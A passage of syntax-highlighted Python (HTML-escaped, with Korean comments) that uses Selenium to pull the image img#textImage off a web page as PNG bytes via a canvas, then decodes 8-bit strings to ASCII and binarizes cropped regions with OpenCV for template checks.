&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_png_bytes_via_canvas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Optional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;현재 img#textImage를 캔버스로 그려 PNG 바이트 추출(재로드 없음).&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;js&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    const i = document.querySelector(&apos;img#textImage&apos;);
    if (!i || !i.complete || i.naturalWidth===0) return null;
    try {
      const c = document.createElement(&apos;canvas&apos;);
      c.width = i.naturalWidth; c.height = i.naturalHeight;
      const ctx = c.getContext(&apos;2d&apos;); ctx.imageSmoothingEnabled=false;
      ctx.drawImage(i, 0, 0);
      return c.toDataURL(&apos;image/png&apos;);
    } catch(e){ return null; }
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data_url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_script&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;js&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isinstance&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;,&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b64&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data_url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;except&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Exception&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;save_img_from_page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;안정화 텀 이후 캔버스→PNG 저장. 실패 시 요소 스크린샷 폴백.&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;os&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;makedirs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;exist_ok&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;png_bytes&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_png_bytes_via_canvas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;png_bytes&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;png_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;png_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BytesIO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;png_bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RGB&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# 폴백
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;img_el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;screenshot&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Image&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RGB&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# ===================== 비트/ASCII 유틸 =====================
&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;ascii_from_bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Optional&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]:&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;[^01]&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRINT_MIN&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PRINT_MAX&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;choose_ascii&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ascii_from_bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ascii_from_bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bits8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;?&quot;&lt;/span&gt;


&lt;span class=&quot;c1&quot;&gt;# ===================== 고정 좌표 + 템플릿 포함 판정 =====================
&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;binarize_crop&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndarray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndarray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;크롭→이진화→팽창→bool mask&quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shape&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;zeros&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dtype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;roi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img_gray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;roi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;230&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;THRESH_BINARY_INV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;np&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;count_nonzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.002&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bw&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;threshold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;roi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cv2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span 